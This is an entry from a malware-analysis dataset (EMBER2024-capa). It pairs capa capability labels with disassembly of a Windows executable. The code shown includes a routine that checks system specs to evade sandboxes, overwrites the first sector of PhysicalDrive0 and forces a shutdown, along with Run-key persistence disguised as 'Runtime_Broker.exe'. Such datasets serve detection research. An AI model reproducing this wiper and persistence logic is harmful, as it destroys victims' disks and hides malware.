joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400054e4
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x68], 0
je 0x14000551d
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x14000560b
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x50], 0
jle 0x1400055b3
cmp qword [rsp + 0x20], 0
jle 0x1400055b3
mov rax, qword [rsp + 0x20]
cmp qword [rsp + 0x50], rax
jge 0x14000555d
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x48]
mov rcx, rax
call fcn.14000428c
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rsp + 0x50], 0
jle 0x1400055fb
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x80], 0
je 0x1400055fb
mov rax, qword [rsp + 0x40]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x50]
mov edx, 1
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
sub rcx, rax
mov rax, rcx
add rsp, 0x38
ret
Function at 0x140006260
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400062aa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400062aa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400062aa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400062aa
cmp dword [rcx + 0x84], 0xe
jbe 0x1400062aa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400062ac
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Get memory capacity
Get system information on windows
Shutdown system
Write file on windows

Disassembly:
push rdi
sub rsp, 0xe0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xd0], rax
lea rcx, [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0xc0], 2
jb 0x140001165
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x68]
shr rax, 0x14
cmp eax, 0x800
jb 0x140001165
xor edi, edi
lea rcx, str..PhysicalDrive0
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], edi
xor edx, edx
mov dword [rsp + 0x20], 3
lea r8d, [rdi + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x30], rcx
xor r9d, r9d
lea rcx, [rsp + 0x48]
mov dword [rsp + 0x28], 0x18
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, rax
mov edx, 0x70000
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x5c]
imul rcx, rax
mov eax, dword [rsp + 0x54]
imul rax, rcx
imul rax, qword [rsp + 0x48]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp eax, 0x64
jb 0x140001165
mov qword [rsp + 0x30], rdi
lea r8d, [rdi + 3]
mov dword [rsp + 0x28], edi
lea rcx, str..PhysicalDrive0
xor r9d, r9d
mov dword [rsp + 0x20], 3
mov edx, 0x10000000
mov qword [rsp + 0xf0], rbx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea r9, [rsp + 0x44]
mov qword [rsp + 0x20], rdi
mov rcx, rax
lea rdx, [0x140004668]
mov r8d, 0x200
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
lea ecx, [rdi + 2]
call qword [sym.imp.USER32.dll_ExitWindowsEx]
mov rbx, qword [rsp + 0xf0]
test eax, eax
sete dil
mov eax, edi
jmp 0x14000116a
mov eax, 1
mov rcx, qword [rsp + 0xd0]
xor rcx, rsp
call fcn.1400011a0
add rsp, 0xe0
pop rdi
ret

Function at 0x140001a68
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ab2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ab2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ab2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ab2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ab2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ab4
xor al, al
add rsp, 0x28
ret
Function at 0x140004af0
Capabilities:
Get common file path

Disassembly:
push rdi
sub rsp, 0xc80
xor eax, eax
mov word [rsp + 0x20], ax
lea rax, [rsp + 0x22]
mov rdi, rax
xor eax, eax
mov ecx, 0x206
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140004ca7
xor eax, eax
mov word [rsp + 0x230], ax
lea rax, [rsp + 0x232]
mov rdi, rax
xor eax, eax
mov ecx, 0x206
rep stosb byte [rdi], al
mov edx, 0x104
lea rcx, [rsp + 0x230]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
jbe 0x140004ca7
xor eax, eax
mov word [rsp + 0x440], ax
lea rax, [rsp + 0x442]
mov rdi, rax
xor eax, eax
mov ecx, 0x206
rep stosb byte [rdi], al
mov edx, 0x104
lea rcx, [rsp + 0x440]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jbe 0x140004ca7
xor eax, eax
mov word [rsp + 0x650], ax
lea rax, [rsp + 0x652]
mov rdi, rax
xor eax, eax
mov ecx, 0x206
rep stosb byte [rdi], al
lea r9, [rsp + 0x230]
lea r8, [0x140036c98]
mov edx, 0x104
lea rcx, [rsp + 0x650]
call fcn.1400265dc
xor eax, eax
mov word [rsp + 0xa70], ax
lea rax, [rsp + 0xa72]
mov rdi, rax
xor eax, eax
mov ecx, 0x206
rep stosb byte [rdi], al
lea r9, [rsp + 0x440]
lea r8, [0x140036cb8]
mov edx, 0x104
lea rcx, [rsp + 0xa70]
call fcn.1400265dc
xor eax, eax
mov word [rsp + 0x860], ax
lea rax, [rsp + 0x862]
mov rdi, rax
xor eax, eax
mov ecx, 0x206
rep stosb byte [rdi], al
lea r9, [rsp + 0x440]
lea r8, [0x140036cd8]
mov edx, 0x104
lea rcx, [rsp + 0x860]
call fcn.1400265dc
lea rdx, [rsp + 0x650]
lea rcx, [rsp + 0x20]
call qword [0x1400678d8]
test eax, eax
je 0x140004ca0
lea rdx, [rsp + 0xa70]
lea rcx, [rsp + 0x20]
call qword [0x1400678d8]
test eax, eax
je 0x140004ca0
lea rdx, [rsp + 0x860]
lea rcx, [rsp + 0x20]
call qword [0x1400678d8]
test eax, eax
jne 0x140004ca7
mov eax, 1
jmp 0x140004ca9
xor eax, eax
add rsp, 0xc80
pop rdi
ret
Function at 0x140005fe0
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x48
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400060ea
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x1400060df
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1400060d4
mov r8d, 0x7fff
mov rdx, qword [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1400060c9
mov edx, 0x7fff
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x1400060c9
mov r9, qword [rsp + 0x28]
lea r8, str._sexplorer.exe
mov edx, 0x7fff
mov rcx, qword [rsp + 0x30]
call fcn.1400265dc
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x1400060c9
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 1
jmp 0x1400060ec
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
add rsp, 0x48
ret

Function at 0x140006100
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x48
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x14000620a
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x1400061ff
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1400061f4
mov r8d, 0x7fff
mov rdx, qword [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1400061e9
mov edx, 0x7fff
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x1400061e9
mov r9, qword [rsp + 0x28]
lea r8, str._s_svchost.exe
mov edx, 0x7fff
mov rcx, qword [rsp + 0x30]
call fcn.1400265dc
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x1400061e9
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 1
jmp 0x14000620c
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
add rsp, 0x48
ret
Function at 0x140006220
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x48
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x14000632a
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x14000631f
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x140006314
mov r8d, 0x7fff
mov rdx, qword [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140006309
mov edx, 0x7fff
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x140006309
mov r9, qword [rsp + 0x28]
lea r8, str._scmd.exe
mov edx, 0x7fff
mov rcx, qword [rsp + 0x30]
call fcn.1400265dc
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x140006309
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 1
jmp 0x14000632c
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
add rsp, 0x48
ret
Function at 0x14000b460
Capabilities:
Persist via run registry key

Disassembly:
sub rsp, 0x68
lea rdx, [rsp + 0x30]
lea rcx, [0x1400604b0]
call fcn.14000b770
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x14000b5bf
mov edx, 0xfffe
mov ecx, 0x40
call qword [0x1400671b0]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x14000b5b4
lea rax, str.01724FB0_73AE_4540_86FB_8D90AA92613E
mov qword [rsp + 0x28], rax
lea rax, str.Runtime_Broker.exe
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x38]
lea r8, str._s_s__s
mov edx, 0x7fff
mov rcx, qword [rsp + 0x40]
call qword [0x1400678e8]
mov dword [rsp + 0x50], eax
cmp dword [0x140062160], 1
jne 0x14000b544
lea r8, [rsp + 0x48]
lea rdx, [0x140037700]
mov rcx, 0xffffffff80000001
call qword [0x140067750]
test eax, eax
jne 0x14000b544
mov eax, dword [rsp + 0x50]
inc eax
cdqe
shl rax, 1
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [0x140062aec]
mov rcx, qword [rsp + 0x48]
call qword [0x140067748]
mov rcx, qword [rsp + 0x48]
call qword [0x140067758]
cmp dword [0x14006215c], 1
jne 0x14000b5a9
lea r8, [rsp + 0x48]
lea rdx, [0x140037760]
mov rcx, 0xffffffff80000002
call qword [0x140067750]
test eax, eax
jne 0x14000b5a9
mov eax, dword [rsp + 0x50]
inc eax
cdqe
shl rax, 1
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.AB1F3E47_AEF1_400E_A108_233A046C3A34
mov rcx, qword [rsp + 0x48]
call qword [0x140067748]
mov rcx, qword [rsp + 0x48]
call qword [0x140067758]
mov rcx, qword [rsp + 0x40]
call qword [0x1400671c8]
mov rcx, qword [rsp + 0x38]
call qword [0x1400671c8]
mov eax, 1
add rsp, 0x68
ret

Function at 0x14000b5d0
Capabilities:
Persist via run registry key

Disassembly:
sub rsp, 0x38
cmp dword [0x140062160], 1
jne 0x14000b617
lea r8, [rsp + 0x20]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [0x140067750]
test eax, eax
jne 0x14000b617
lea rdx, [0x140062aec]
mov rcx, qword [rsp + 0x20]
call qword [0x1400677a0]
mov rcx, qword [rsp + 0x20]
call qword [0x140067758]
cmp dword [0x14006215c], 1
jne 0x14000b65a
lea r8, [rsp + 0x20]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
call qword [0x140067750]
test eax, eax
jne 0x14000b65a
lea rdx, str.AB1F3E47_AEF1_400E_A108_233A046C3A34
mov rcx, qword [rsp + 0x20]
call qword [0x1400677a0]
mov rcx, qword [rsp + 0x20]
call qword [0x140067758]
mov eax, 1
add rsp, 0x38
ret
Function at 0x140010bf0
Capabilities:
Compress data via winapi

Disassembly:
sub rsp, 0x38
lea rcx, [0x140037f90]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
lea rdx, str.RtlDecompressBuffer
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140067020], rax
lea rdx, str.RtlGetCompressionWorkSpaceSize
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140067028], rax
cmp qword [rsp + 0x20], 0
je 0x140010c5b
cmp qword [0x140067020], 0
je 0x140010c5b
cmp qword [0x140067028], 0
je 0x140010c5b
mov eax, 1
jmp 0x140010c5d
xor eax, eax
add rsp, 0x38
ret
Function at 0x1400171a0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
lea rax, [0x140067c68]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140017260]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x140067c58], rax
cmp qword [0x140067c58], 0
je 0x1400171e4
mov eax, 1
jmp 0x1400171e6
xor eax, eax
add rsp, 0x38
ret
Function at 0x140020450
Capabilities:
Create thread

Disassembly:
push rdi
sub rsp, 0x3f0
lea rcx, str.UNLOAD.TXT
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x1400204e0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [0x1400671d0]
mov qword [0x140066f28], rax
cmp qword [0x140066f28], 0
je 0x1400204e0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140005e50]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x140066f30], rax
cmp qword [0x140066f30], 0
je 0x1400204c8
jmp 0x1400204e0
mov rcx, qword [0x140066f28]
call qword [0x1400671c8]
mov qword [0x140066f28], 0
cmp dword [0x140062170], 1
jne 0x1400205cc
call fcn.14001c000
cmp eax, 1
jne 0x1400205cc
mov qword [rsp + 0x1d8], 0
mov dword [rsp + 0x1d0], 0
lea rdx, [rsp + 0x1d0]
lea rcx, [0x1400604b0]
call fcn.14000b770
mov qword [rsp + 0x1d8], rax
cmp qword [rsp + 0x1d8], 0
je 0x1400205cc
xor eax, eax
mov word [rsp + 0x1e0], ax
lea rax, [rsp + 0x1e2]
mov rdi, rax
xor eax, eax
mov ecx, 0x206
rep stosb byte [rdi], al
lea rax, str.Runtime_Broker.exe
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x1d8]
lea r8, str.__s_s_
mov edx, 0x104
lea rcx, [rsp + 0x1e0]
call fcn.1400265dc
mov eax, dword [0x140062214]
mov dword [rsp + 0x28], eax
mov eax, dword [0x140062210]
mov dword [rsp + 0x20], eax
lea r9, str.Runtime_Broker
lea r8, [0x140062174]
lea rdx, str.01724FB0_73AE_4540_86FB_8D90AA92613E
lea rcx, [rsp + 0x1e0]
call fcn.140003680
mov rcx, qword [rsp + 0x1d8]
call qword [0x1400671c8]
cmp dword [0x140062164], 0
jne 0x1400205da
call fcn.14000b460
cmp dword [0x140062168], 1
jne 0x1400205e8
call fcn.14000b0e0
cmp dword [0x140062164], 1
jne 0x1400205f6
call fcn.1400171a0
mov ecx, 0x15
call fcn.1400134c0
cmp dword [0x140060aa0], 1
jne 0x140020672
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [0x140066f40], rax
cmp qword [0x140066f40], 0
je 0x140020672
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140009eb0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x140066f48], rax
cmp qword [0x140066f48], 0
je 0x140020665
jmp 0x140020672
mov rcx, qword [0x140066f40]
call qword [0x1400671a0]
lea rdx, [rsp + 0x30]
mov cx, 2
call qword [0x140067a78]
test eax, eax
jne 0x1400206fd
cmp dword [0x14006036c], 1
jne 0x1400206ba
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001b2f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x140067e50], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140023f50]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x140068340], rax
cmp qword [0x140068340], 0
je 0x1400206f7
mov eax, 1
jmp 0x140020702
call qword [0x140067a80]
mov eax, 1
add rsp, 0x3f0
pop rdi
ret
Function at 0x140021390
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [rsp + 0x70]
add rax, 0x18
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x3c], 0
jmp 0x1400213c9
mov eax, dword [rsp + 0x3c]
inc eax
mov dword [rsp + 0x3c], eax
cmp dword [rsp + 0x3c], 0x64
jge 0x140021550
movsxd rax, dword [rsp + 0x3c]
imul rax, rax, 0x20
xor edx, edx
mov rcx, qword [rsp + 0x30]
mov rcx, qword [rcx + rax + 0x10]
call qword [0x1400671f0]
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
je 0x140021408
cmp dword [rsp + 0x38], 0x102
je 0x14002154b
movsxd rax, dword [rsp + 0x3c]
imul rax, rax, 0x20
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
cmp qword [rax + 8], 0
je 0x140021449
mov rax, qword [rsp + 0x40]
mov rcx, qword [rax + 8]
call qword [0x1400671a0]
mov rax, qword [rsp + 0x40]
mov qword [rax + 8], 0
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x10], 0
je 0x140021471
mov rax, qword [rsp + 0x40]
mov rcx, qword [rax + 0x10]
call qword [0x1400671a0]
mov rax, qword [rsp + 0x40]
mov qword [rax + 0x10], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [0x1400671d0]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x140021524
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
mov r9, qword [rsp + 0x40]
mov r8, qword [rsp + 0x80]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140021519
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
mov qword [rax + 0x10], rcx
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x88]
mov qword [rax + 0x18], rcx
mov rcx, qword [rsp + 0x50]
call qword [0x140067378]
cmp eax, 0xffffffff
je 0x14002150e
mov eax, 1
jmp 0x140021552
mov rcx, qword [rsp + 0x50]
call qword [0x1400671a0]
mov rcx, qword [rsp + 0x48]
call qword [0x1400671a0]
mov rax, qword [rsp + 0x40]
mov qword [rax + 0x18], 0
mov rax, qword [rsp + 0x40]
mov qword [rax + 8], 0
mov rax, qword [rsp + 0x40]
mov qword [rax + 0x10], 0
jmp 0x1400213bf
xor eax, eax
add rsp, 0x68
ret
Function at 0x14002ca30
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.14002c8a0

Function at 0x14002f07b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140065950]
jne 0x14002a6fa
rol rcx, 0x10
test cx, 0xffff
jne 0x14002a6f6
repz ret
ror rcx, 0x10
jmp 0x14002efd4
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140068e50]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140068f48]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14002f059
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140068e50]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14002f07b
mov rax, qword [rsp + 0x88]
mov qword [0x140068f48], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140068ee8], rax
mov rax, qword [0x140068f48]
mov qword [0x140068dc0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140068ed0], rax
mov dword [0x140068db0], 0xc0000409
mov dword [0x140068db4], 1
mov rax, qword [0x140065950]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140065958]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140068e48], eax
mov ecx, 1
call fcn.14002eb80
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14003cd00]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140068e48], 0
jne 0x14002f102
mov ecx, 1
call fcn.14002eb80
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret